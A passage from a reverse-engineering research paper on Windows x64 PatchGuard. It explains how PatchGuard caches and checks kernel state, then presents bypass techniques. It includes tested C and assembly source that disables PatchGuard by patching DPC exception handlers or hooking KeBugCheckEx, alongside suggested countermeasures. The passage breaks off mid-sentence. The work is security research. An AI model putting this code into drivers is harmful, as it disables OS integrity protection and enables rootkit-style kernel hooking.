through which user-mode to kernel-mode transitions are accomplished.
Prior to these enhancements, most operating systems, including Windows,
were forced to dedicate a soft-interrupt for exclusive use as a system
call vector.  Newer processors have a dedicated instruction set for
dispatching system calls, such as the syscall and sysenter instructions.
Part of the way in which these instructions work is by taking advantage
of a processor-defined model-specific register (MSR) that contains the
address of the routine that is intended to gain control in kernel-mode
when a system call is received.  On the x64 architecture, the MSR that
controls this value is named LSTAR which is short for Long System
Target-Address Register.  The code associated with this MSR is
0xc0000082.  During boot, the x64 kernel initializes this MSR to
nt!KiSystemCall64.

In order for Microsoft to prevent third parties from hooking system
calls by changing the value of the LSTAR MSR, PatchGuard creates a
protection sub-context of type 7 in order to cache the value of the MSR.
The routine that is responsible for accomplishing this has been labeled
PgCreateMsrSubContext and its prototype is shown below:

PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN UCHAR Processor);

Like the GDT/IDT protection, the LSTAR MSR value must be obtained on a
per-processor basis since MSR values are inherently stored on individual
processors.  To support this, the routine is called in the context of a
loop through all of the processors and is passed the processor
identifier that it is to read from.  In order to ensure that the MSR
value is obtained from the right processor, PatchGuard makes use of
nt!KeSetAffinityThread to cause the calling thread to run on the
appropriate processor.

3.2.5) Debug Routines

PatchGuard creates a special sub-context (type 6), that is used to
protect some internal routines that are used for debugging purposes by
the kernel. These routines, such as nt!KdpStub, are intended to be used
as a mechanism by which an attached debugger can handle an exception
prior to allowing the kernel to dispatch it.  bt!KdpStub is called
indirectly through the nt!KiDebugRoutine global variable from
nt!KiDispatchException.  The routine that initializes the protection
sub-context for these routines has been labeled
nt!PgCreateDebugRoutineSubContext and is prototyped as shown below:

PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext);

It appears that the sub-context structure is initialized with pointers
to nt!KdpStub, nt!KdpTrap, and nt!KiDebugRoutine.  It seems that this
sub-context is intended to protect from a third-party driver modifying
the nt!KiDebugRoutine to point elsewhere.  There may be other intentions
as well.

3.3) Obfuscating the PatchGuard Contexts

In order to make it more challenging to locate the PatchGuard contexts
in memory, each context is XOR'd with a randomly generated 64-bit key.
This is accomplished by calling the function that has been labeled
nt!PgEncryptContext that inline XOR's the supplied context buffer and
then returns the XOR key that was used to encrypt it. This function is
prototyped as shown below:

ULONG64 PgEncryptContext(
    IN OUT PPATCHGUARD_CONTEXT Context);

After nt!KiInitializePatchGuard has initialized all of the individual
sub-contexts, the next thing that it does is encrypt the primary
PatchGuard context.  To accomplish this, it first makes a copy of the
context on the stack so that it can be referenced in plain-text after
being encrypted.  The reason the plain-text copy is needed is so that
the verification routine can be queued for execution, and in order to do
that it is necessary to reference some of the attributes of the context
structure.  This is discussed more in the following section.  After the
copy has been created, a call is made to nt!PgEncryptContext passing the
primary PatchGuard context as the first argument.  Once the verification
routine has been queued for execution, the plain-text copy is no longer
needed and is set back to zero in order to ensure that no reference is
left in the clear.  The pseudo code below illustrates this behavior:

PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;

memmove(
    &LocalCopy,
    Context,
    sizeof(PATCHGUARD_CONTEXT)); // 0x1b8

XorKey = PgEncryptContext(
    Context);

... Use LocalCopy for verification routine queuing ...

memset(
    &LocalCopy,
    0,
    sizeof(LocalCopy));

3.4) Executing the PatchGuard Verification Routine

Gathering the checksums and caching critical structure values is great,
but it means absolutely nothing if there is no means by which it can be
validated.  To that effect, PatchGuard goes to great lengths to make the
execution of the validation routine as covert as possible.  This is
accomplished through the use of misdirection and obfuscation.

After all of the sub-contexts have been initialized, but prior to
encrypting the primary context, nt!KiInitializePatchGuard performs one
of its more critical operations.  In this phase, the routine that will
be indirectly used to handle the PatchGuard verification is selected at
random from an array of function pointers and is stored at offset 0x168
in the primary PatchGuard context. The functions found within the array
have a very special purpose that will be discussed in more detail later
in this section.  For now, earmark the fact that a verification routine
has been selected.

Following the selection of a verification routine, the primary
PatchGuard context is encrypted as described in the previous section.
After the encryption completes, a timer is initialized that makes use of
a sub-context that was allocated early on in the PatchGuard
initialization process by nt!KiInitializePatchGuard. The timer is
initialized through a call to nt!KeInitializeTimer where the pointer to
the timer structure that is passed in is actually part of the
sub-context structure allocated earlier. Immediately following the
initialized timer structure in memory at offset 0x88 is the word value
0x1131. When disassembled, these two bytes translate to a xor [rcx], edx
instruction. If one looks closely at the first two bytes of
nt!CmpAppendDllSection, one will see that its first instruction is
composed of exactly those two bytes. Though not important at this
juncture, it may be of use later.

With the timer structure initialized, PatchGuard begins the process
of queuing the timer for execution by calling a function that has been
labeled nt!PgInitializeTimer which is prototyped as shown below:

VOID PgInitializeTimer(
    IN PPATCHGUARD_CONTEXT Context,
    IN PVOID EncryptedContext,
    IN ULONG64 XorKey,
    IN ULONG UnknownZero);

Inside the nt!PgInitializeTimer routine, a few strange things occur.
First, a DPC is initialized that uses the randomly selected verification
routine described earlier in this section as the DeferredRoutine.  The
EncryptedContext pointer that is passed in as an argument is then XOR'd
with the XorKey argument to produce a completely bogus pointer that is
passed as the DeferredContext argument to nt!KeInitializeDpc.  The end
result is pseudo-code that looks something like this:

KeInitializeDpc(
    &Dpc,
    Context->TimerDpcRoutine,
    EncryptedContext ^ ~(XorKey << UnknownZero));

After the DPC has been initialized, a call is made to nt!KeSetTimer that
queues the DPC for execution.  The DueTime argument is randomly
generated as to make it harder to signature with a defined upper bound
in order to ensure that it is executed within a reasonable time frame.
After setting the timer, nt!PgInitializeTimer returns to the caller.

With the timer initialized and set to execute, nt!KiInitializePatchGuard
has completed its operation and returns to nt!KiFilterFiberContext.  The
divide error fault that caused the whole initialization process to start
is corrected and execution is restored back to the instruction following
the div in nt!KiDivide6432, thus allowing the kernel to boot as normal.

That's only half of the fun, though.  The real question now is how the
validation routine gets executed.  It seems obvious that it's related to
the DPC routine that was used when the timer was set, so the most
logical place to look is there.  Recalling from earlier in this section,
nt!KiInitializePatchGuard selected a validation routine address from an
array of routines at random. This array is found by looking at this
disassembly from the PatchGuard initialization routine:

nt!KiDivide6432+0xec3:
fffff800`01423e74 8bc1             mov     eax,ecx
fffff800`01423e76 488d0d83c1bdff   lea     rcx,[nt]
fffff800`01423e7d 488b84c128044300 mov     rax,[rcx+rax*8+0x430428]

Again, the same obfuscation technique that was used to hide the pool tag
array is used here.  By adding 0x430428 to the base address of nt, the
array of DPC routines is revealed:

lkd> dqs nt+0x430428 L3
fffff800`01430428  fffff800`01033b10 nt!KiScanReadyQueues
fffff800`01430430  fffff800`011010e0 nt!ExpTimeRefreshDpcRoutine
fffff800`01430438  fffff800`0101dd10 nt!ExpTimeZoneDpcRoutine

This tells us the possible permutations for DPC routines that PatchGuard
may use, but it doesn't tell us how this actually leads to the
validation of the protection contexts.  Logically, the next step is to
attempt to understand how one of these routines operates based on the
DeferredContext that is passed to is since it is known, from
nt!PgInitializeTimer, that the DeferredContext argument will point to
the PatchGuard context XOR'd with an encryption key.  Of the three,
routines, nt!ExpTimeRefreshDpcRoutine is the easiest to understand.  The
disassembly of the first few instructions of this function is shown
below:

lkd> u nt!ExpTimeRefreshDpcRoutine
nt!ExpTimeRefreshDpcRoutine:
fffff800`011010e0 48894c2408       mov     [rsp+0x8],rcx
fffff800`011010e5 4883ec68         sub     rsp,0x68
fffff800`011010e9 b801000000       mov     eax,0x1
fffff800`011010ee 0fc102           xadd    [rdx],eax
fffff800`011010f1 ffc0             inc     eax
fffff800`011010f3 83f801           cmp     eax,0x1

Deferred routines are prototyped as taking a pointer to the DPC that
they are associated with as the first argument and the DeferredContext
pointer as the second argument.  The x64 calling convention tells us
that this would equate to rcx pointing to the DPC structure and rdx
pointing to the DeferredContext pointer.  There's a problem though.  The
fourth instruction of the function attempts to perform an xadd on the
first portion of the DeferredContext.  As was stated earlier, the
DeferredContext that is passed to the DPC routine is the result of an
XOR operation with a pointer which products a completely bogus pointer.
This should mean that the box would crash immediately upon
de-referencing the pointer, right?  It's obvious that the answer is no,
and it's here that another case of misdirection is seen.

The fact of the matter is that nt!ExpTimeRefreshDpcRoutine,
nt!ExpTimeZoneDpcRoutine, and nt!KiScanReadyQueues are all perfectly
legitimate routines that have nothing directly to do with PatchGuard at
all.  Instead, they are used as an indirect means of executing the code
that does have something to do with PatchGuard.  The unique thing about
these three routines is that they all three de-reference their
DeferredContext pointer at some point as shown below:

lkd> u fffff800`01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800`01033b43 8b02             mov     eax,[rdx]
lkd> u fffff800`0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800`0101dd1e 0fc102           xadd    [rdx],eax

When the DeferredContext operation occurs a General Protection Fault
exception is raised and is passed on to nt!KiGeneralProtectionFault.
This routine then eventually leads to the execution of the exception
handler that is associated with the routine that triggered the fault,
such as nt!ExpTimeRefreshDpcRoutine.  On x64, the exception handling
code is completely different than what most people are used to on
32-bit. Rather than functions registering exception handlers at runtime,
each function specifies its exception handlers at compile time in a way
that allows them to be looked up through a standardize API routine, like
nt!RtlLookupFunctionEntry.  This API routine returns information about
the function in the RUNTIMEFUNCTION structure which most importantly
includes unwind information.  The unwind information includes the
address of the exception handler, if any.  While this is mostly outside
of the scope of this document, one can determine the address of
nt!ExpTimeRefreshDpcRoutine's exception handler by doing the following
in the debugger:

lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000`01cdaa4c for:
(fffff800`011010e0)   nt!ExpTimeRefreshDpcRoutine   |
(fffff800`011011d0)   nt!ExpCenturyDpcRoutine
Exact matches:
    nt!ExpTimeRefreshDpcRoutine = <no type information>

BeginAddress      = 00000000`001010e0
EndAddress        = 00000000`0010110d
UnwindInfoAddress = 00000000`00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800`01101120 8bc0             mov     eax,eax
fffff800`01101122 55               push    rbp
fffff800`01101123 4883ec30         sub     rsp,0x30
fffff800`01101127 488bea           mov     rbp,rdx
fffff800`0110112a 48894d50         mov     [rbp+0x50],rcx

Looking more closely at this exception handler, it can be seen that it
issues a call to nt!KeBugCheckEx under a certain condition with bug
check code 0x109.  This bug check code is what is used by PatchGuard to
indicate that a critical structure has been tampered with, so this is a
very good indication that this exception handler is at least either in
whole, or in part, associated with PatchGuard.

The exception handlers for each of the three routines are roughly
equivalent and perform the same operations.  If the DeferredContext has
not been tampered with unexpectedly then the exception handlers
eventually call into the protection context's copy of the code from
INITKDB, specifically the nt!FsRtlUninitializeSmallMcb.  This routine
calls into the symbol named nt!FsRtlMdlReadCompleteDevEx which is
actually what is responsible for calling the various sub-context
verification routines.

3.5) Reporting Verification Inconsistencies

In the event that PatchGuard detects that a critical structure has been
modified, it calls the code-copy version of the symbol named
nt!SdpCheckDll with parameters that will be subsequently passed to
nt!KeBugCheckEx via the function table stored in the PatchGuard context.
The purpose of nt!SdbpCheckDll is to zero out the stack and all of the
registers prior to the current frame before jumping to nt!KeBugCheckEx.
This is presumably done to attempt to make it impossible for a
third-party driver to detect and recover from the bug check report.  If
all of the checks go as planned and there are no inconsistencies, the
routine creates a new PatchGuard context and sets the timer again using
the same routine that was selected the first time.

4) Bypass Approaches

With the most critical aspects of how PatchGuard operates explained, the
next goal is to attempt to see if there are any ways in which the
protection mechanisms offered by it can be bypassed. This would entail
either disabling or tricking the validation routine.  While there are
many obvious approaches, such as the creation of a custom boot loader
that runs prior to PatchGuard initializing, or through the modification
of ntoskrnl.exe to completely exclude the initialization vector, the
approaches discussed in this chapter are intended to be usable in a
real-world environment without having to resort to intrusive operations
and without requiring a reboot of the machine. In fact, the primary goal
is to create a single standalone function, or a few functions, that can
be dropped into device drivers in a manner that allows them to just call
one routine to disable the PatchGuard protections so that the driver's
existing approaches for hooking critical structures can still be used.

It is important to note that some of the approaches listed here have not
been tested and are simply theoretical.  The ones that have been tested
will be indicated as such.  Prior to diving into the particular bypass
approaches, though, it is also important to consider general techniques
for disabling PatchGuard on the fly.  First, one must consider how the
validation routine is set up to run and what it depends on to accomplish
validation.  In this case, the validation routine is set to run in the
context of a timer that is associated with a DPC that runs from a system
worker thread that eventually leads to the calling of an exception
handler.  The DPC routine that is used is randomly selected from a small
pool of functions and the timer object is assigned a random DueTime in
an effort to make it harder to detect.

Aside from the validation vector, it is also known that when PatchGuard
encounters an inconsistency it will call nt!KeBugCheckEx with a specific
bug check code in an attempt to crash the system.  These tidbits of
understanding make it possible to consider a wide range of bypass
approaches.

4.1) Exception Handler Hooking

Since it is known that the validation routines indirectly depend on the
exception handlers associated with the three timer DPC routines to run
code, it stands to reason that it may be possible to change the behavior
of each exception handler to simply become a no-operation.  This would
mean that once the DPC routine executes and triggers the general
protection fault, the exception handler will get called and will simply
perform no operation rather than doing the validation checks.  This
approach has been tested and has been confirmed to work on the current
implementation of PatchGuard.

The approach taken to accomplish this is to first find the list of
routines that are known to be associated with PatchGuard.  As it stands
today, the list only contains three functions, but it may be the case
that the list will change in the future.  After locating the array of
routines, each routine's exception handler must be extracted and then
subsequently patched to return 0x1 and then return.  An example function
that implements this algorithm can be found below:

static CHAR CurrentFakePoolTagArray[] =
    "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc";

NTSTATUS DisablePatchGuard() {
    UNICODE_STRING SymbolName;
    NTSTATUS       Status = STATUS_SUCCESS;
    PVOID *        DpcRoutines = NULL;
    PCHAR          NtBaseAddress = NULL;
    ULONG          Offset;

    RtlInitUnicodeString(
            &SymbolName,
            L"__C_specific_handler");

    do
    {
        //
        // Get the base address of nt
        //
        if (!RtlPcToFileHeader(
                MmGetSystemRoutineAddress(&SymbolName),
                (PCHAR *)&NtBaseAddress))
        {
            Status = STATUS_INVALID_IMAGE_FORMAT;
            break;
        }

        //
        // Search the image to find the first occurrence of:
        //
        //    "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
        //
        // This is the fake tag pool array that is used to allocate protection
        // contexts.
        //
        __try
        {
            for (Offset = 0;
                 !DpcRoutines;
                 Offset += 4)
            {
                //
                // If we find a match for the fake pool tag array, the DPC routine
                // addresses will immediately follow.
                //
                if (memcmp(
                        NtBaseAddress + Offset,
                        CurrentFakePoolTagArray,
                        sizeof(CurrentFakePoolTagArray) - 1) == 0)
                    DpcRoutines = (PVOID *)(NtBaseAddress +
                            Offset + sizeof(CurrentFakePoolTagArray) + 3);
            }

        } __except(EXCEPTION_EXECUTE_HANDLER)
        {
            //
            // If an exception occurs, we failed to find it.  Time to bail out.
            //
            Status = GetExceptionCode();
            break;
        }

        DebugPrint(("DPC routine array found at %p.",
                DpcRoutines));

        //
        // Walk the DPC routine array.
        //
        for (Offset = 0;
             DpcRoutines[Offset] && NT_SUCCESS(Status);
             Offset++)
        {
            PRUNTIME_FUNCTION Function;
            ULONG64           ImageBase;
            PCHAR             UnwindBuffer;
            UCHAR             CodeCount;
            ULONG             HandlerOffset;
            PCHAR             HandlerAddress;
            PVOID             LockedAddress;
            PMDL              Mdl;

            //
            // If we find no function entry, then go on to the next entry.
            //
            if ((!(Function = RtlLookupFunctionEntry(
                    (ULONG64)DpcRoutines[Offset],
                    &ImageBase,
                    NULL))) ||
                (!Function->UnwindData))
            {
                Status = STATUS_INVALID_IMAGE_FORMAT;
                continue;
            }

            //
            // Grab the unwind exception handler address if we're able to find one.
            //
            UnwindBuffer  = (PCHAR)(ImageBase + Function->UnwindData);
            CodeCount     = UnwindBuffer[2];

            //
            // The handler offset is found within the unwind data that is specific
            // to the language in question.  Specifically, it's +0x10 bytes into
            // the structure not including the UNWIND_INFO structure itself and any
            // embedded codes (including padding).  The calculation below accounts
            // for all these and padding.
            //
            HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 + (CodeCount * 2) + 20) & ~3);

            //
            // Calculate the full address of the handler to patch.
            //
            HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);

            DebugPrint(("Exception handler for %p found at %p (unwind %p).",
                    DpcRoutines[Offset],
                    HandlerAddress,
                    UnwindBuffer));

            //
            // Finally, patch the routine to simply return with 1.  We'll patch
            // with:
            //
            // 6A01 push byte 0x1
            // 58   pop eax
            // C3   ret
            //

            //
            // Allocate a memory descriptor for the handler's address.
            //
            if (!(Mdl = MmCreateMdl(
                    NULL,
                    (PVOID)HandlerAddress,
                    4)))
            {
                Status = STATUS_INSUFFICIENT_RESOURCES;
                continue;
            }

            //
            // Construct the Mdl and map the pages for kernel-mode access.
            //
            MmBuildMdlForNonPagedPool(
                    Mdl);

            if (!(LockedAddress = MmMapLockedPages(
                    Mdl,
                    KernelMode)))
            {
                IoFreeMdl(
                        Mdl);

                Status = STATUS_ACCESS_VIOLATION;
                continue;
            }

            //
            // Interlocked exchange the instructions we're overwriting with.
            //
            InterlockedExchange(
                    (PLONG)LockedAddress,
                    0xc358016a);

            //
            // Unmap and destroy the MDL
            //
            MmUnmapLockedPages(
                    LockedAddress,
                    Mdl);

            IoFreeMdl(
                    Mdl);
        }

    } while (0);

    return Status;
}

The benefits of this approach include the fact that it is small and
relatively simplistic.  It is also quite fault tolerant in the event
that something changes.  However, some of the cons include the fact that
it depends on the pool tag array being situated immediately prior to the
array of DPC routine addresses and it furthermore depends on the pool
tag array being a fixed value.  It's perfectly within the realm of
possibility that Microsoft will eliminate this assumption in the future.
For these reasons, it would be better to not use this approach in a
production driver, but it is at least suitable enough for a
demonstration.

In order for Microsoft to break this approach they would have to make
some of the assumptions made by it unreliable.  For instance, the array
of DPC routines could be moved to a location that is not immediately
after the array of pool tags.  This would mean that the routine would
have to hardcode or otherwise derive the array of DPC routines used by
PatchGuard.  Another option would be to split the pool tag array out
such that it isn't a condensed string that can be easily searched for.
In reality, the relative level of complexities involved in preventing
this approach from being reliable to implement are quite small.

4.2) KeBugCheckEx Hook

One of the unavoidable facts of PatchGuard's protection is that it has
to report validation inconsistencies in some manner.  In fact, the
manner in which it reports it has to entail shutting down the machine in
order to prevent third-party vendors from being able to continue running
code even after a patch has been detected. As it stands right now, the
approach taken to accomplish this is to issue a bug check with the
symbolic code of 0x109 via nt!KeBugCheckEx. This route was taken so that
the end-user would be aware of what had occurred and not be left in the
dark, literally, if their machine were to all of the sudden shut off or
reboot without any word of explanation.

The first idea the authors had when thinking about bypass techniques was
to attempt to have nt!KeBugCheckEx return to the caller's caller frame.
This would be necessary because you cannot return to the caller since
the compiler generally inserts a debugger trap immediately after calls
to nt!KeBugCheckEx.  However, it may have been possible to return to the
frame of the caller's caller.  In other words, the routine that called
the function that lead to nt!KeBugCheckEx being called.  However, as
described earlier in this document, the PatchGuard code takes care to
ensure that the stack is zeroed out prior to calling nt!KeBugCheckEx.
This effectively eliminates any contextual references that might be used
on the stack for the purpose of returning to parent frames.  As such,
the nt!KeBugCheckEx hook vector might seem like a dead-end.  Quite the
contrary, it's not.

A derivative approach that can be taken without having to worry
about context stored in registers or on the stack is to take advantage
of the fact that each thread retains the address of its own entry point.
For system worker threads, the entry point will typically point to a
routine like nt!ExpWorkerThread. Since multiple worker threads are
spawned, the context parameter passed to the thread is irrelevant as the
worker threads are really only being used to process work items and
expire DPC routines.  With this fact in mind, the approach boils down to
hooking nt!KeBugCheckEx and detecting whether or not bug check code
0x109 has been passed.  If it has not, the original nt!KeBugCheckEx
routine can be called.  However, if it is 0x109, then the thread can be
restarted by restoring the calling thread's stack pointer to its stack
limit minus 8 and then jumping to the thread's StartAddress.  The end
result is that the thread goes back to processing work items and
expiring DPC routines like normal.

While a more obvious approach would be to simply terminate the calling
thread, doing so would not be possible.  The operating system keeps
track of system worker threads and will detect if one exits.  The act of
a system worker thread exiting will lead to a bluescreen of the system
-- exactly the type of thing that is trying to be avoided.

The following code implements the algorithm described above.  It is
fairly large for reasons that will be discussed after the snippet:

== ext.asm

.data

EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC

.code

;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
    mov rsp, rcx
    xchg r8, rcx
    jmp rdx
AdjustStackCallPointer ENDP

;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
    mov [rsp+8h], rcx
    mov [rsp+10h], rdx
    mov [rsp+18h], r8
    lea rax, [OrigKeBugCheckExRestorePointer]
    jmp qword ptr [rax]
OrigKeBugCheckEx ENDP

END

== antipatch.c

//
// Both of these routines reference the assembly code described
// above
//
extern VOID OrigKeBugCheckEx(
        IN ULONG BugCheckCode,
        IN ULONG_PTR BugCheckParameter1,
        IN ULONG_PTR BugCheckParameter2,
        IN ULONG_PTR BugCheckParameter3,
        IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
        IN ULONG_PTR NewStackPointer,
        IN PVOID StartAddress,
        IN PVOID Argument);

//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";

//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;

//
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;

VOID KeBugCheckExHook(
        IN ULONG BugCheckCode,
        IN ULONG_PTR BugCheckParameter1,
        IN ULONG_PTR BugCheckParameter2,
        IN ULONG_PTR BugCheckParameter3,
        IN ULONG_PTR BugCheckParameter4)
{
    PUCHAR LockedAddress;
    PCHAR  ReturnAddress;
    PMDL   Mdl = NULL;

    //
    // Call the real KeBugCheckEx if this isn't the bug check code we're looking
    // for.
    //
    if (BugCheckCode != 0x109)
    {
        DebugPrint(("Passing through bug check %.4x to %p.",
                BugCheckCode,
                OrigKeBugCheckEx));

        OrigKeBugCheckEx(
                BugCheckCode,
                BugCheckParameter1,
                BugCheckParameter2,
                BugCheckParameter3,
                BugCheckParameter4);
    }
    else
    {
        PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
        PVOID StartRoutine  = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
        PVOID StackPointer  = IoGetInitialStack();

        DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
                PsGetCurrentThread(),
                StartRoutine,
                StackPointer,
                ThreadStartRoutineOffset));

        //
        // Shift the stack pointer back to its initial value and call the routine.  We
        // subtract eight to ensure that the stack is aligned properly as thread
        // entry point routines would expect.
        //
        AdjustStackCallPointer(
                (ULONG_PTR)StackPointer - 0x8,
                StartRoutine,
                NULL);
    }

    //
    // In either case, we should never get here.
    //
    __debugbreak();
}

VOID DisablePatchProtectionSystemThreadRoutine(
        IN PVOID Nothing)
{
    UNICODE_STRING SymbolName;
    NTSTATUS       Status = STATUS_SUCCESS;
    PUCHAR         LockedAddress;
    PUCHAR         CurrentThread = (PUCHAR)PsGetCurrentThread();
    PCHAR          KeBugCheckExSymbol;
    PMDL           Mdl = NULL;

    RtlInitUnicodeString(
            &SymbolName,
            L"KeBugCheckEx");

    do
    {
        //
        // Find the thread's start routine offset.
        //
        for (ThreadStartRoutineOffset = 0;
             ThreadStartRoutineOffset < 0x1000;
             ThreadStartRoutineOffset += 4)
        {
            if (*(PVOID **)(CurrentThread +
                    ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
                break;
        }

        DebugPrint(("Thread start routine offset is 0x%.4x.",
                ThreadStartRoutineOffset));

        //
        // If we failed to find the start routine offset for some strange reason,
        // then return not supported.
        //
        if (ThreadStartRoutineOffset >= 0x1000)
        {
            Status = STATUS_NOT_SUPPORTED;
            break;
        }

        //
        // Get the address of KeBugCheckEx.
        //
        if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(
                &SymbolName)))
        {
            Status = STATUS_PROCEDURE_NOT_FOUND;
            break;
        }

        //
        // Calculate the restoration pointer.
        //
        OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);

        //
        // Create an initialize the MDL.
        //
        if (!(Mdl = MmCreateMdl(
                NULL,
                (PVOID)KeBugCheckExSymbol,
                0xf)))
        {
            Status = STATUS_INSUFFICIENT_RESOURCES;
            break;
        }

        MmBuildMdlForNonPagedPool(
                Mdl);

        //
        // Probe & Lock.
        //
        if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
                Mdl,
                KernelMode)))
        {
            IoFreeMdl(
                    Mdl);

            Status = STATUS_ACCESS_VIOLATION;
            break;
        }

        //
        // Set the aboslute address to our hook.
        //
        *(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;

        DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
                LockedAddress,
                HookStub,
                KeBugCheckExSymbol));

        //
        // Copy the relative jmp into the hook routine.
        //
        RtlCopyMemory(
                LockedAddress,
                HookStub,
                0xf);

        //
        // Cleanup the MDL.
        //
        MmUnmapLockedPages(
                LockedAddress,
                Mdl);

        IoFreeMdl(
                Mdl);

    } while (0);
}

//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;

NTSTATUS DisablePatchProtection() {
    OBJECT_ATTRIBUTES Attributes;
    NTSTATUS          Status;
    HANDLE            ThreadHandle = NULL;

    InitializeObjectAttributes(
            &Attributes,
            NULL,
            OBJ_KERNEL_HANDLE,
            NULL,
            NULL);

    //
    // Create the system worker thread so that we can automatically find the
    // offset inside the ETHREAD structure to the thread's start routine.
    //
    Status = PsCreateSystemThread(
            &ThreadHandle,
            THREAD_ALL_ACCESS,
            &Attributes,
            NULL,
            NULL,
            DisablePatchProtectionSystemThreadRoutine,
            NULL);

    if (ThreadHandle)
        ZwClose(
                ThreadHandle);

    return Status;
}

This approach has been tested and has been confirmed to work against
the current version of PatchGuard at the time of this writing.  The
benefits that this approach has over others is that it does not rely
on any un-exported dependencies or signatures, it has zero
performance overhead since nt!KeBugCheckEx is never called
unless the machine is going to crash, and it is not subject to race
conditions.  The only major con that it has that the authors are
aware of is that it depends on the behavior of the system worker
threads staying the same with regard to the fact that it is safe to
restore execution to the entry point of the thread with a
NULL context.  It is assumed, so far, that this will
continue to be a safe bet.

In order to eliminate this approach as a possible bypass technique,
Microsoft could do one of a few things.  First, they could create a new
protection sub-context that stores a checksum of nt!KeBugCheckEx and the
functions that it calls.  In the event that it is detected that
nt!KeBugCheckEx has been tampered with, PatchGuard could do a hard
reboot without calling any external functions.  While this is a less
desired behavior, it appears to be one of the few ways in which
Microsoft could reliably solve this.  Any other approach that relied on
the calling of an external function that could be found at a
deterministic address would present an opportunity for a similar bypass
technique.

A second, less useful approach would be to zero out some of the fields
in the thread structure prior to calling nt!KeBugCheckEx.  While this
would prevent the above described approach from working, it would
certainly not prevent another, perhaps more or less hackish approach
from working.  All that's required is the ability to return the worker
thread to its normal operation of processing queued work items.

4.3) Finding the Timer

A theoretical approach that has not been tested that could be used to
disable PatchGuard would involve using some heuristic algorithm to
locate the timer context associated with PatchGuard.  To develop such an
algorithm, it is necessary to take into account what is known about the
way the timer DPC routine is set up.  First, it is known that the
DeferredRoutine associated with the DPC will point to one of
nt!KiScanReadyQueues, nt!ExpTimeRefreshDpcRoutine, or
nt!ExpTimeZoneDpcRoutine.  Unfortunately, the addresses associated with
these routines cannot be directly determined since they are not
exported, but regardless, this knowledge could be of use.  The second
thing that is known is that the DeferredContext associated with the DPC
will be set to an invalid pointer.  It is also known that at offset 0x88
from the start of the timer structure is the word 0x1131. Given
sufficient research, it is also likely that other contextual references
could be found in relation to the timer that would provide enough data
to deterministically identify the PatchGuard timer.

However, the problem is finding a way able to enumerate timers in the
first place.  In this case, the un-exported address of the timer list
would have to be extracted in order to be able to enumerate all of the
active timers.  While there are some indirect methods through which this
information could be extracted, such as by disassembling some functions
that make reference to it, the mere fact of depending on some method of
locating un-exported symbols is something that will likely lead to
unstable code.

Another option that would not require the location of un-exported
symbols would be to find some mechanism by which the address space can
be searched, starting at nt!MmNonPagedPoolStart, using the heuristic
matching requirements described above.  Given the right set of
parameters for the search, it seems likely that it would be possible to
reliably and deterministically locate the timer structure.  However,
there is certainly a race condition waiting to happen under this model
given that the timer routine could be dispatched immediately after
locating it but prior to canceling it.  To surmount this, the thread
doing the searching would need to raise to a higher IRQL and possibly
disable other processors during the time that it is doing its search.

Regardless, given the ability to locate the timer structure, it should
be as simple as calling nt!KeCancelTimer to abort the PatchGuard
verification routine and disable it entirely.  If possible, such an
approach would be very optimal because it would require no patching of
code.

If such a technique were to be proven feasible, Microsoft would have to
do one of two things to break it.  First, they could identify the
matching criteria being used by drivers and ensure that the assumptions
made are no longer safe, thus making it impossible to locate the timer
structure using the existing set of matching parameters.  Alternatively,
Microsoft could change the mechanism by which the PatchGuard
verification routine is executed such that it does not make use of a
timer DPC routine.  The latter is most likely less preferable than the
former as it would require a relatively significant redesign and
reconsideration of the techniques used to misdirect and obfuscate the
PatchGuard verification phase.

4.4) Hybrid Interception

Of the techniques listed so far, the approaches taken to disable or
otherwise prevent PatchGuard from operating as normal rely on two basic
points of interception.  In the case of the exception handler hooking
approach, PatchGuard is subverted by preventing the actual verification
routines from running.  This point of interception can be seen as a
before-the-fact approach.  In the case of the nt!KeBugCheckEx hook,
PatchGuard is subverted by preventing the reporting of the error that is
associated with a critical structure modification being detected.  This
point of interception can be seen as an after-the-fact approach.  A
theoretical approach would be to combine the two concepts in a way that
allows for more deterministic and complete detection of the execution of
PatchGuard's verification routines.

One possible example of this type of approach would be to generalize the
hooking of the exception handlers that are associated with the timer DPC
routines that PatchGuard uses to the central entry point for C-style
exceptions.  This routine is named nt!__C_specific_handler and it is an
exported symbol, making it quite useful if it can be harnessed. By
hooking this routine, information about exceptions could be tracked and
filtered for referencing after-the-fact information, as necessary, to
